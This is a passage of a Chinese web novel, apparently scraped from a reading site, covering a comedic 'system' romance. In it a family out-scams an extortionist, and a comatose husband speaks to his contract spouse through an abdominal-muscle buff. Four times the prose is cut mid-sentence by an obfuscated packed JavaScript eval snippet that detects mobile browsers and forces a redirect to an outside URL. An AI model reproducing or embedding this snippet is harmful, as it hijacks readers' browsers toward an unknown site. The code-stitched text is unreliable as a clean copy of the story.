容妈妈家世显赫,多年养尊处优,是真的没见过这种装傻充愣,死皮赖脸的类型,这时候都有点惊呆了:“你干什么啊,你给我起来啊你……” 那老太太怎么可能起来,还往容妈妈旁边滚,想去扯她裙子。 程乐言把濯濯往李管家怀里一放,伸手就把容妈妈护到后面。 419都跟着气得不行:【宿主宿主!怎么办啊这!】 程乐言:【放心吧,有经验。】 419:【嘎?你这是做过什么相关工作?】 程乐言:【曾经在超市上过班,专门负责给老头老太太发鸡蛋的。看我上场表演吧。】 只见他拿出手机,摄像头对准地上撒泼的老太太,一秒提范儿,喜气洋洋道:“哎呀直播开了哈!欢迎进我直播间的宝宝,请用你发财的小手,给主播点点免费的赞哈。关注主播不迷路,缘分开始第一步。 “有宝宝问了,这是直播什么的啊?主播今天啊,直播的就是这位老太太哈。大家看这撒泼打滚,撒的多好,滚的多好。” 项老太太怎么也没想到,程乐言居然开了个直播! 还是直播她自己! 老太太差点没气晕。 她恶狠狠地盯着程乐言:“你故意气我是不是?” 接着果断往地上一躺,眼睛一闭,哎呦哎呦地喊:“我心脏疼,我上不来气儿,快给我叫救护车!我今天要死在这儿了啊!” 程乐言:“讹人是吧?我这儿有监控,我可没碰到你啊。” 老太太压根不管,就叫唤胸口疼。 还真使出这招了啊。 程乐言先叫李管家报警,随后给容妈妈使了个眼色,嘴里叫道:“老公!?你怎么了老公??你也不舒服吗?” 容妈妈一咬牙一跺脚:好!!我要祭出我儿子了!妄之,到你上场了! 15. 反碰瓷 容妄之是真的已在心里做好准备,但还未轮到他出马,一辆迈巴赫突然缓缓驶近。李管家眼尖,直接小跑过去,在车停稳后,拉开了车门。 一位老太太走了出来。 她满头银发,精神矍铄,仪态威严,脸上有皱纹,但保养得非常好。 看到这场景,她皱了皱眉:“干嘛呢这。” 李管家:“来碰瓷的,说她心脏疼。” 九个字把情况说明白了。 老太太挑了挑眉。 想她年轻的时候,那也是风里来火里去,各种大起大落都经历过,最艰难的时期容家老宅都卖出去了。后来硬是东山再起,又把老宅赎了回来。 她什么没见过,她什么做不出。 下一秒,她把手上的拐杖一甩,大步向前,直接就往项景临他妈旁边一躺,嘴里叫道:“哎呦,你这老太太干嘛呢,怎么躺这儿啊,绊倒我了!不行了不行了,我摔得好疼,我腿是不是骨折了啊!我今年80了,高血压心脏病啊!哎呦我喘不上气儿了!” 整套过程如行云流水一般,程乐言都不禁肃然起敬,海豹鼓掌:来得好,来得妙,您来得正是时候!!! 对付这种老太太,就是要使出老太太plus啊! 这还不算完,老太太还叫道:“旁边轮椅上那个是不是我孙儿?哎呦,我大孙子植物人,都要被她给气得更严重了吧!都气得从轮椅上滑下来了!” 没错,这老太太就是容妄之的奶奶。 她说的孙儿,自然就是容妄之。 一分钟后,在老太太的指挥下,植物人容妄之也被摆放到了地上。 容妈妈一看都这架势了,干脆一咬牙,也往地上一躺,“哎呦哎呦”地说自己今年55了,高血压冠心病,受到了惊吓,现在到处都在疼。 濯濯看几位亲人都这么给力,干脆自己也躺了过去。幼崽心想:我是铁皮人,我没电了,然后无师自通地捂住了胸口。 一家四代齐上阵,容老太太对这团结合作的精神非常满意。 哼。跟我斗。 只是她抽空看了一下自家孙儿的脸,老太太被震惊得一哆嗦,差点真的心脏病发:搞什么鬼啊?有病吗,妄之一个植物人,给他画什么妆? 把眼睛画这么老大干嘛,他植物人还要选美啊? 哎呀我等下得拍张照。 等等……等等,孙子眼睛里流下来的,是什么东东!? 是眼泪吗??该不会是眼泪吧!? 哭了!植物人孙子居然哭了!!! 容老太太痛彻心扉,中气十足地喊道:“你这死老太太,把我植物人孙子都气哭了!!你等着赔钱吧你!这次不让你破产我姓从今以后都倒着写!” 对了,老太太正好姓王。 (被迫躺在地上成为碰瓷战力之一的)容妄之:……之前还很担心奶奶的身体,但现在看来,很好,很有精神。 但是奶奶,能不能放过我? 你不说根本就没有人能看到! 事情发展到现在,项妈妈人都是懵的。 她撒泼打滚的一套,也算用得很熟练了,过去可说是无往不利。毕竟“谁弱谁有理”,被她赖上了,别人经常都会选择退让。越有钱的人,越会选择退让。 哪想到今天居然踢到铁板。 眼看着对方阵容里那80岁老人,毫无意识植物人,还有个3岁娃娃都上了,更别提…… 更别提容妈妈今年居然都55了!而她自己呢,虽说头发苍白、长相年迈,但其实才只有54啊! 自己比她小一岁呢! 这还碰个什么瓷! 旁边程乐言还拿着手机对她拍拍拍,嘴里道:“宝宝们,是的没错,就是这位老太太把我80岁高龄的奶奶绊倒了,还把我植物人老公气哭了,连带我55岁的老母亲和3岁的孩子都身体不适。 “唉,等会儿都得去医院检查。我们报警了,警察怎么还没来呢?” 什么? 该不会等下她们真的都要去医院检查吧? 项妈妈就一农村老太太,见识短浅,哪懂什么法,这时候已是露了怯。 她一骨碌就爬起来了,盯着程乐言,满眼怨毒:“你等着吧!你们有钱人的命金贵,我们穷人的命可不值钱。以后出门记得数一数黄历,否则我随时都要往你车上撞!” 程乐言道:“老太太,您刚刚说的话,是在敲诈勒索,等会儿警察来了,正好跟警察好好说说。到时候给扣个拘留,你们家三代不能考公。” “还有,”他一字一字地说,“我本来想放过项景临的,但是既然今天你来闹,那行,明天我就去法院起诉,告你儿子虐待儿童。我们不缺钱,我会请最好的律师,你儿子就等着吃官司吧。” 项妈妈又气又急又慌乱:“你装什么蒜!我儿子都说了,之前他做的一切根本就是你默许的!你自己对小孩不好,现在还在装相!” 濯濯原本还有点怯生生的,一听这话,直接就抱住了程乐言的脖子,把脸紧紧地和程乐言贴在一起。 舐犊之情,不容作伪。 孩子这种亲昵的、全然信任的姿态,已是说明一切,容老太太看在眼里,都是暗暗点头。 项妈妈咬咬牙,干脆爆出猛料:“程乐言,那你勾引我大儿子的事呢?” 她冲容妈妈和容奶奶叫道:“你们以为这个程乐言是什么好人?你们不知道吧,他在你们这儿赚的钱,还不是都给我大儿子花了!他在我儿子面前都跟条狗似的,也就你们还拿他当个宝!” 说到这里,声音中有了一种快意和恶意。 却没想到,容妈妈翻了个白眼:“这破事儿我们全家都知道了好吧。” 刚刚得知此事的容奶奶:“……是啊,我们全家早都知道了!怎么,你儿子来当鸭,你还觉得挺骄傲的呗。” 容妈妈:“这不就是有其母必有其子。说不准还是家学渊源呢,他爸之前是不是也这样啊,一脉传承的当鸭。” 容奶奶:“就是就是。” 婆媳俩把项妈妈说的都插不进嘴。 程乐言又添上一把火:“老太太,我直说了吧,我的钱都给你大儿子了,你问我要,那是没有的。有本事你问他要呗。” 项妈妈闻言一愣,突然想到了什么,简直恨到眼睛都红了:“是项景洲让你这样的是不是?工作也是让他搅合没的?那个王八犊子,不管老娘不管弟弟就算了,他居然惦记他弟弟的钱……” 后面一连串的咒骂。 骂得巨脏。 程乐言由着她骂,全部录下,末了来句:“老太太,你看你这穿的戴的,看来你大儿子从我这儿搞的钱,也没给你花一分啊。你把他辛辛苦苦养大,他都没孝敬一下他老母亲吗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648108|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 直击要害。 项妈妈脸上一阵红一阵白,这次是真的被气到胸口疼。 她捂住胸口剧烈呼吸,那一边,警察到了。 李管家向警察说明报警事宜,也表示这里有全程监控。警察提出要不要回警局进行调解,项妈妈那边却是做贼心虚,坚决不肯去警察局,也不提什么要回薪水的事了,最后自己灰溜溜跑了。 李管家带上监控,随警察回去做笔录,这件事才算是告一段落。 容妈妈扶着老太太回屋,刚坐下,老太太就问了:“刚刚说的什么‘我们全家都知道了’,怎么回事?念念,你找的这儿媳妇,真把钱拿出去养小白脸了?” 望向程乐言,目光中颇为审视。 “念念”是容太太的小名。她俩婆媳关系特别好,容太太直接道:“妈,谁年轻的时候没爱过几个人渣。程乐言都说了,他已经认清现实,对渣男彻底死心,以后都不会再这样的。那就点小钱,你别管了。” 容奶奶声音威严:“钱不钱的倒是无所谓,但毕竟是妄之的对象,你还非给他俩弄了个结婚证,这就是我们妄之名正言顺的爱人,只看个八字像什么样子,还是得看人品。” 容妄之被安顿在轮椅上,就在旁边呢,这时候心情非常复杂。 他大概猜测出了家庭教师因虐待濯濯被赶走的事,但是对项老太太刚刚说的什么,“勾引我儿子”、“给我儿子花钱”、“在我儿子面前像狗一样”这类的话,他的心里非常——不舒服。 程乐言还在追求别人吗? 这样的话,妈妈为什么要他和自己结婚? 他是被迫的? 妈妈说“程乐言彻底死心”,是说程乐言已经放弃了那人? 程乐言如果那么爱另一个人,发生了什么,会让他彻底死心? 是真的死心吗? 一连串问题冒了出来。他不知道那种强烈的不适感根源来自哪里,但就…… 说不上来。 这事让他莫名烦躁。 嗯,还是奶奶看问题也更长远一些,当然是需要看人品没错。 然后他听到程乐言笑眯眯地说:“奶奶,您坐车过来,累不累呀?我学过按摩,来给您按两下吧。” 容奶奶很是怀疑:“真的假的?你还会按摩?” 两分钟后,容奶奶眉开眼笑,乐呵呵地说:“小程呀,我觉得你人品很好!非常好!” 容妄之:……………… 奶奶你这是不是太敷衍了一点! 容妄之其实挺希望奶奶继续追问一下的,比如问问那奸夫——啊不对,应该说是,问问程乐言那位过去的心仪对象是什么情况,现在又是什么情况。 但奶奶似乎是沉浸按摩无法自拔了,都没再提过,只剩容妄之自己还惦记这事。 当然了,他肯定不是在意什么奸不奸夫的,他完全不在意,没有一丝一毫在意。 但就…… 到底什么情况呢?奶奶你真的不要多问问吗?妈妈你真的不要多说说吗? 想的太用力了一点,以至于250都有听到,系统不禁好奇发问:【哇,宿主,从前好少听到你的心声诶,我还在想你是不是学会了大脑封闭术呢。居然不是吗?不过为什么你对“奸夫”这么在意的?真的好在意,为什么呀?】 容妄之:【……静音。】 16.勾引 250闭嘴了,容妄之终于觉得耳边清净。 那一边,程乐言给老太太又按了几分钟,就见濯濯就从厨房出来,手里还端着茶盘,里面是两杯花茶。 旁边跟着的佣人笑吟吟地说:“老太太,太太,小少爷非要亲手给您二位倒茶呢。” 容奶奶摩也不按了,腾一下站起来,健步如飞,直接冲过去就想把濯濯抱起来,嘴里叫道:“我的幺幺呀!想死太奶了!” 结果抱了两下,没抱动,差点把腰闪了。 程乐言和容妈妈都吓了一跳,想去扶住老人,结果老太太自己若无其事地站直,捶了两下腰,上上下下看着濯濯,惊喜道:“我们濯濯是不是胖啦?” 程乐言笑道:“胖了点儿,现在25斤,还在追重。” 容奶奶简直老泪纵横:“我之前说想看看濯濯,但是小张总说濯濯要上课要干这干那的,都好几个月没带濯濯回去。我们濯濯高了,也胖了,太奶都抱不动啦。” 濯濯有点害羞,脸都红了,牵着容奶奶的手让她坐下,又把茶递过去。 简简单单的花茶,硬是让容奶奶和容妈妈夸得天上有地上无的。 张妈虐待濯濯的事,容妈妈没跟老太太说,只说张妈回老家了。她自己知道了之后都愧疚得几个晚上没睡着,生怕老太太也受刺激。 有了濯濯在,而且经历了刚刚项妈妈的事,几人更有同仇敌忾之感,距离拉进很多,气氛更是放松。 容奶奶道:“对了,我还想问呢,妄之那个眼妆是怎么回事儿?你们谁给画的啊?还画得怪好看的,眼皮下面那个叫什么,卧槽?怎么回事,是有什么植物人新潮流吗,要画个妆的?” 容妈妈:“……人家那叫卧蚕啊妈!卧槽是骂人话,你可别说。这事儿很奇怪,我们没人给妄之化妆,也不知道怎么回事,他眼睛就变这样了。99%是灵异事件,不过我给刘大师打过电话,问题不大。” 接着又掏出手机:“妈,给你看个有意思的,我这儿还有妄之之前擦了口红的照片呢,你看,嘟嘟唇。还有种了睫毛的,睫毛精。你看你看。” 容奶奶:“唉哟,这嘴唇,哎呦,这睫毛,哈哈哈哈哈!” 空气中充满了欢乐的气息。 容妄之:人类的悲欢并不相通,他只觉得吵闹。 只是,这几人言笑晏晏,聊得开心,他听到的妈妈和奶奶的笑声,比从前一整年都多。这样的场景,在容家老宅里,他太少见到。 容妄之一阵恍惚。 这才是……他幼时幻想的“家”的样子。 容奶奶今天来,就是听说容妄之搬回来了,想来看看孙子和重孙。 最后走的时候,也是心满意足。 老太太还说自己两周后过生日,要程乐言一定带着濯濯来参加生日宴。 这都出乎容妈妈的意料。 她惊讶道:“妈,你是想在众人面前——” 容奶奶没说话,笑着拍了拍她的手。 她离开后,程乐言和容妈妈两人单独地聊了一会儿。 先是感谢领导此前批下的项目奖金,接着汇报了濯濯近期的情况,包括认知的进步,感统的训练等等。程乐言完全摆出向上司汇报阶段工作的姿态,说得重点明确,详略得当,把下一步计划和目前的工作难点一并提及。 容妈妈最大的感觉是:跟他沟通,未免也太省事了! 这人来给儿子当冲喜的老婆,真的好浪费啊! 是真的动了把人调到容氏来试试的念头。 最后对他的现有工作做出极大肯定,对日后工作给予一定指导和支持,再共同描绘了未来的美好场景,比如“好好干,涨薪妥妥的”。 别的领导说这话,程乐言会觉得是画饼,容妈妈说这话,程乐言确定这是真的。他赶紧一顿表忠心,夹杂着“老板赚钱员工花,一定活到九十八”这种奇葩话语,容妈妈也是一笑而过。 聊完之后,容妈妈便去了容妄之的房间。她四下看看,最后在对方床边坐下。 她说:“妄之,程乐言是个不错的孩子。他对濯濯也真的很好。唉,你说我要告诉他,濯濯不是你亲生的这件事吗?妈还有点没想好。不过,程乐言办事真的很利索,我都在想,等你醒了,我把他调到我身边来工作怎么样?反正你肯定会和他离婚。” 容妄之想:嗯,离婚了,然后让他去找那个奸夫前任吗。 妈,不如多说点重点吧,比如关于奸夫,或者关于奸夫,还有关于奸夫什么的。 容妈妈自然听不到儿子的心声,完全避开了重点(奸夫),开始絮絮叨叨地说了一些近期事宜。 也算是她的老习惯了,容家发生了什么,容氏公司发生了什么,她总会在儿子床边说一说。 从前都是她自言自语,这次,容妄之却是听得清清楚楚。 容妄之18岁在读书时就开始创业,22岁进入容氏,24岁便当上了容氏总经理,几年时间,容氏在他手里蒸蒸日上。 他如今植物人昏迷不过一年,容氏已是七分八裂,乱七八糟,容爸爸和容二叔两派内斗不断。 容妈妈道:“你爸……我看得出,他也是后悔的。但是后悔有什么用呢,唉,那个死老头子,说他做什么,不说不说。” 随即转开了话题,“星融庄的经营状况还不错,只是有点旧了,近期打算重装一下。我们联系了之前给星融庄做设计的那位曾先生,但对方拒了。之前他的设计非常出众,换人设计,很担心效果没那么好。” 她又说了一些别的事,后来便离开了。 容妄之意识还在,或许是因为离程乐言近了的缘故,他清醒的时间多了些。 他一直在想星融庄的事。 星融庄是个旅游度假山庄,是容妄之的第一个创业项目。那时候他还没有回容氏,一堆人等着看他笑话,却没想到他把星融庄搞起来了,拿了几个大奖,经营得有声有色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656188|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可以说,星融庄对他意义特殊,是他真正确定自己有能力离开容家的基石,也是他所有新生活的开始,他更希望星融庄能保持最适合的样子。 容妈妈没办法,他却有把握,能一句话说动曾先生出马。 要是自己能和其他人沟通一下,哪怕只是说一句话,就好了。 但这对植物人来说,完全就是天方夜谭。 250在这时开口:【那个什么,宿主,也不一定是天方夜谭——你刚刚又完成了一个任务,咱们现在积分够,能用个类似于心灵传输的道具,正好让你对外沟通。】 容妄之:【等等,等一等——你说什么?什么叫“我又完成了一个任务”?】 250:【哈哈哈,这不就是之前嘛,宿主你躺地上讹人家老太太,正好完成了一个任务:“在光天化日、众目睽睽之下,你躺在地上,失去所有手段和力气。内心是无比拒绝的,但是你什么都做不了,只能一动不动地躺在那儿,接受所有目光的洗刷。这时,一滴泪从你的眼角绝美滑落。”】 系统最开始说起R18的任务,自己都很受不了,现在居然慢慢适应了,语言流畅,还评价道:【这任务限制这么多都能完成,宿主牛逼!而且宿主你那眼泪流得好,正是那一滴绝美落泪,成就了这个复杂无比的任务啊!我现在都觉得,宿主你会不会就是传说中的R18组天选宿主呢,谢谢宿主带我飞!】 容妄之:………… 他现在觉得会不会这系统才是来给他冲喜的。因为这任务再搞下去,死人都会被气活,植物人都能被气正常。 他深吸一口气,道:【我现在多了什么buff?】 250:【“腹肌”buff哦。你现在有了八块腹肌,超好看的你放心!】 容妄之觉得自己像是被pua了。因为在经历了什么嘟嘟唇、卡姿兰大眼睛这些乱七八糟的之后,他甚至觉得,腹肌还不错。 至少是藏在他衣服里面的。除了护工,谁没事闲的会脱他衣服。 250:【这buff来的正是时候!那个心灵传输的道具,使用要求里有一条,需要传输对象触碰你身上的特殊buff部位,才能听到你在脑海里说的话。宿主,这一切都是最好的安排,总好过让他戳着你双眼听你说话吧!】 250:【怎么样?道具要兑换吗?只要程乐言一碰你腹肌,你再发动道具,他就能听到你的心声啦。你可以把想要说的话告诉他哦。】 听起来还有点自信满满跃跃欲试的样子。 容妄之:??? 容妄之:【意思是程乐言必须要先脱我衣服?接着还要摸腹肌,还得是一直摸着,这道具才能用?】 250:【是的呀。宿主你有什么勾引对方脱你衣服的好办法吗?“绝美眼泪”这种任务你都能搞定,勾引什么的宿主你一定不在话下吧?】 容妄之:【……你到底要多少钱才肯滚出我的大脑!】 17.腹肌 程乐言对他老公已经多出了八块腹肌这件事,完全一无所知。 他陪濯濯读了一会儿《刑法》,听说容妈妈离开了,就又去看了眼容妄之。 看到对方那个卡姿兰大眼睛,憋不住乐了。 也不知道这便宜老公到底什么情况,怎么总会有一些奇奇怪怪的妆容,还都怪好看的。 然后他就挽起容妄之的裤腿,检查了下此前在疗养院里留下的褥疮。 褥疮已经痊愈了,青紫也都消去,现在就是人瘦了点儿,整体还挺健康的。 程乐言松了口气。两位护工去跟着李管家熟悉一下家里,他干脆就自己上手,帮容妄之翻了个身,随后开始按摩。 他有照顾瘫痪病人的经验,这时候也是驾轻就熟。 直到……他一路按到了腹部。 程乐言脑袋顶上冒出了三个问号。 怎么这里摸着怪怪的? 再摸摸。 什么情况,谁往我老公衣服里塞砖头了吗? 神经病啊!化妆就算了,为什么要往人家植物人的病号服里塞砖头啊!! 不过别说,这砖块虽然硬,但多按几下,还有点Q弹的感觉,这是怎么回事。 真的好Q弹诶! 程乐言忍不住就多按了几下。 ……等等,好像不是砖块。 腹肌!?该不会有腹肌吧??? 程乐言无比震惊,直接就把容妄之衣服扣子解开了,然后对着面前的情景倒吸一口冷气,战略性后仰。 荷.尔蒙扑面而来。 他看到了几乎是完美的八块腹肌。 肌肉线条流畅,没有丝毫赘余,其中暗含力量,如同精心雕琢的艺术品一般。不是吃蛋白粉怼出来的肌肉,而是经过长时间的锻炼和汗水的灌溉才能形成的美感,显得结实,有力,欲到炸,隔着一段距离都能感受到那种荷.尔蒙的力量。 程乐言有点眼睛都不知道往哪儿放了。 ——但他知道手往哪儿放。 这还用问! 手当然是往腹肌上放了! 没有别的地方,就是那里啊! 跟中了魔似的,手鬼使神差就放去了它应该去的地方。 那一瞬间,程乐言忍不住就“哇”了一声。 就,好Q弹,好完美,好好摸!还是一块一块的!! 他理智上知道自己应该赶紧把手拿开,把人家病号服重新穿穿好,但…… 这种手感!!是人类能拥有的吗! 控制不住!真的控制不住啊!他没上去咬一口都是定力好了! 啊啊,最后再摸两秒钟,最后两秒钟! 结果就是那两秒钟似乎长了一点,而就在那时,他脑海中突然响起了一个男声,道:【程先生,你好。我们现在有五分钟时间沟通——对了,能把佛经先停了吗?有点吵。谢谢。】 那声音低沉有磁性,板板正正,一本正经,几乎不带什么情绪起伏,就这样骤然响在脑海里。 程乐言沉默五秒钟,随后惨叫:“啊啊啊啊啊鬼啊!” 破音。 他吓疯了,直接跳起就跑,他这辈子都不知道原来自己这么怕鬼,他这辈子也不知道原来自己还能跑这么快。 程乐言从前还跟容妈妈开玩笑,说容先生莫不是被mac鬼,毛戈平鬼,3ce鬼什么的缠上,但那时纯属口嗨,他也没想到这彩妆鬼居然恐怖如斯。 419从前也在他脑子里说话,不过系统声音有种非人感,一听就知道是AI,还没这么吓人。现在这鬼进化的,实在是太过像人,恐怖谷效应加成,超级恐怖。 等他反应过来的时候,人都已经跑出去了。这时候稍微冷静下来一想,金主爸爸还在里面呢!他想了想自己的工作,自己的职责,(最主要是)自己的薪水,终究咬咬牙。 金主爸爸,我为了你,可是拼了! 于是又折回去,抱着那个放佛经的iPad挡在自己前面,色厉内荏、外强中干道:“我不知道你是什么东西,你你你,你赶紧给我离开我老公的身体!!不然我马上请大师啦!” 这一次,什么都没发生。 脑海中的419狐疑道:【不对啊宿主,有点奇怪。】 程乐言:【啊啊啊啊你也听到了是吗统子爹?不是我的错觉是吧?吓死我了啊好恐怖好像人啊!】 419:【宿主,不是像人,那应该就是人——我刚刚感受到了和我同源的能量,容妄之在使用道具。 【如果我没猜错,容妄之身上也有系统,而且应该就是我的前组同事。我就说,之前他那个嘟嘟唇、睫毛精,还有卡姿兰大眼睛和八块腹肌,都是buff能达成的效果。】 好像涉及到前一个组相关之后,弱鸡如419,都变得靠谱了些。 系统的声音随即严肃起来:【宿主,我必须告诉你一个很严重很严重的问题。】 程乐言:【什么问题??你别吓唬我啊统子爹,我真的好怕!】 419:【这个问题可怕多了。那就是——你老公应该在外面悄悄做了0。】 程乐言:【嘎?】 震惊出鸭叫。 419:【我前组的同事一般只会绑定0的呀。】 程乐言惊讶过后,迅速镇定下来:【行了行了,0不0什么的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673862|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我都没关系,我就给人冲喜的,他醒了肯定会离婚。反正不是鬼就好,我汗都吓出来了。他也有系统的话,统子爹你说现在怎么办?】 419:【过去摸一摸他的腹肌,那应该就是他和你沟通的前提条件。听听他说什么,必要时可以套套话。不过宿主,你先别透露你也有系统的事,我现在莫名其妙变成了剧情组,不知道什么情况,我怕任务有冲突。】 程乐言:【摸,摸腹肌??我还可以摸吗?】 419:【你害羞什么呀宿主,都是为了沟通,你就当那是个电话好了。拿着个电话和别人通话,就很容易做到了吧。】 程乐言:【……我不允许你这么说!世界上有这么好摸的电话吗!】 但犹豫几秒钟,终究小心翼翼地走了过去,深呼吸一下,嘴里还不忘表忠心:“金主爸爸,我不会放任你被鬼上身也不管的,我来救你了!” 然后把手放到了容妄之的腹肌上, 手感还是一如既往的绝佳,但就,怎么说呢,感觉很羞耻。知道容妄之在试图和自己说话之后,现在就像是当着人的面搞变态,按都不敢使劲按了。 他装作搞不清楚状况的样子,一脸受惊地自言自语道:“刚刚好像就是碰到这里,听到鬼的声音啊,再试试。” 果然,此前听到的声音又在他脑海中响起了:【程先生,没有什么鬼怪作祟,是我,容妄之。我在用一种特殊的方式跟你沟通,不要怕。】 程乐言松了口气,一脸惊讶地说:“容先生,居然是你!我还以为是mac鬼呢。” 容妄之:“是我。” 程乐言:“太好了是容先生我们有救了!那你,你还是植物人吗?该不会是我冲喜冲的有效果了吧?我就说啊那念经一直念,还有那赛博木鱼敲敲敲的肯定有用啊,赛博菩萨都能听见的,还来保佑你了!” 说着还兴奋了。 容妄之:【……不,没有任何作用。我非常肯定,没有,任何,作用。】 声音流露出了一丝情绪,又马上冷静起来:【长话短说,我还是植物人状态,但出于一些特殊原因,我偶尔能对外界有一些感知。 【最近一段时间,你可能——会发现我身上出现一些非常奇怪的事,比如身体和之前有了一些变化。请你理性对待,无需好奇探究,我会尽快解决这个问题。】 程乐言瞬间反驳:“这才不是什么‘奇怪的事’!容先生,这明明是上帝的恩赐,我不允许你这么说你自己的腹肌!不允许!” 容妄之:……………… 程乐言,你是不是有病。 程乐言:靠,我现在能听到你说话哦老公。 18.对话 都被金主爸爸怀疑有病了,程乐言赶紧轻咳两声,摆出一副专业的姿态,道:“容先生,您想跟我沟通什么?我主要工作是为您冲喜,也非常愿意完成您交代的其他事宜。请把我当成下属对待就可以了。” 容妄之深吸一口气:【谢谢。有几件事需要你去做。第一件事,我有个项目叫星融庄,最近出了点问题,还请你去见一下他们的负责人。他叫方引,过去曾担任我助理。烦请帮我带句话,就说,有个id为“Phantom”的人,六年前为曾设计师提供帮助,那id背后正是我本人。听过这句话,方引就知道怎么做了。】 程乐言:“收到。” 容妄之:【第二件事,我的遗嘱在书房保险箱,密码是241216,请告知我父母。如我离世,还请他们打开保险箱安排后续事宜。】 程乐言:“收到。” 容妄之:【第三件事,关于濯濯。请——请一定转告,说我爱他。很抱歉,不能陪他长大了。】 容妄之的声音仍然非常平稳,甚至说起自己的“遗嘱”、“离世”都非常平静,不带一丝波澜。程乐言却在听到这里时,听出了对方声音下面蕴藏的,对濯濯深厚的情感。 心脏猛跳了几下。 他的声音放缓:“好的容先生。你放心吧,我一定会照顾好濯濯,他也一定会感受到你的爱。而且,你还有醒来的机会,先不必如此悲观。” 容妄之:【谢谢,我会保持乐观。第四件事,请务必帮我销毁书房电脑的硬盘。】 程乐言一个没忍住,“噗嗤”笑出了声。 虽然不知道他硬盘里有什么秘密,但觉得容老板在这个瞬间,人也变得接地气起来。 程乐言:“收到。不过有个问题,容先生,你助理、还有你爸妈肯定会问我怎么知道这些事的,到时候我就说……啊,我说你托梦给了我?” 容妄之:【……一般活人不会托梦。你如果这么说,我妈只会以为我就要死了,在交代遗言。】 程乐言:“啊哈哈哈,那就说,我曾经……是你助理?或者好朋友?都不好圆啊。啊!我说是你灵魂出窍告诉我的!” 容妄之:【暂时别和封建迷信扯上关联。这样吧,程先生你就说我们曾是非常亲密的网友,所以你知晓我的很多事。至于八字、冲喜云云,都是实属巧合。】 程乐言思忖一下,点头道:“可行。我就说,我们之前都是网络联系,我不知道你现实的身份,也没见过你。也是直到最近才确认,从前聊得很好的那个网友居然就是你。” 容妄之:【可以。如果方引不信,你就说你知道三年前万圣节的事。如果我爸妈不信,你就说紫琅湖那套别墅之前是你在住,我借给你的。这些应该足够印证我们的网友关系。】 程乐言:“没问题。还有什么需要我做的吗?” 容妄之:【没有了。倒是——程先生,您有什么需要我帮忙的吗?比如是否有……】 说到这里,容妄之一丝不苟的声音停了两秒,随后继续道:【是否有纠缠不清的前任?或是前任追求对象?我能接收到的外界讯息不多,如果有的话,我愿意尽量提供帮助。】 程乐言奇道:“前任?那没有。” 想了想又道:“完全没有什么前任,只有个骗了我钱的王八蛋,我正想怎么把钱要回来呢!” “骗了我钱的王八蛋”。 这句话在容妄之心里来回转了几个圈圈。 心情莫名其妙地舒畅许多。 当然,他完全不是在意这件事,但原来不是奸夫,只是一个骗了他钱的王八蛋而已。 就说奶奶当初应该多问几句的。 他说:【程先生,你知道想把钱要回来,最重要的是什么吗?】 程乐言:“是对方愿意给?” 容妄之:【错。是对方能拿得出那么多钱。】 程乐言:!!! 恍然大悟,醍醐灌顶。 对啊!他给了项景洲将近一千万,对方都花他那公司上了,现在他那个小破公司全卖了肯定也还不起啊! 他从没当过债主,之前总想着怎么让项景洲愿意还钱,这方面是真没想到,思路瞬间开阔了。 他说:“谢谢你啊容先生,你说的好对!” 容妄之:【不必道谢。】 程乐言:“就刚刚的几项工作,我这样安排:明天先去找方引,说明曾设计师的事;两周后的周末,你奶奶的生日宴我会去参加,届时我会告知您父母保险柜密码;破坏电脑硬盘的事就放在这之后,我需要有个您好友的身份才好进入书房;濯濯的事最好完成,就在今晚。这样可以吗?” 容妄之:【很好。】 妈妈曾提到过程乐言办事利索,果然不假。 又道:【刚刚提到的别墅在紫琅湖一栋,门禁密码241216,你可以提前去看看。作为报酬,等我醒来之后,那套别墅会转到你名下。】 程乐言整个人都差点蹦起来:“容爹!你也没必要这么客气啊容爹!都是我应该做的,不用给别墅啊容爹!” 容妄之:【这样的话……】 程乐言急了:“等等,我刚刚就谦虚一下,你也别把别墅收回去啊容爹!真就是谦让一下!!!卧槽我这破嘴,下次谁再谦让谁是狗,容爹你别听我的……” 容妄之:【不会收回去,那是你应得的——啊,五分钟时效到了。再见。】 不知道是不是程乐言的错觉,他只觉得最后时,容妄之冷静且没有丝毫情绪的声音中,带出了一点笑意。 而在那“再见”之后,程乐言就再也没听到什么声音了。 他赶紧松开了手。 心情仍然很激动,只能说,这老板太大方了。 别墅,芜湖!!! 好的老公,你放心,这次我一定好好完成你交代的事! 而且我也一定会守护好你的腹肌,不让别人染指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 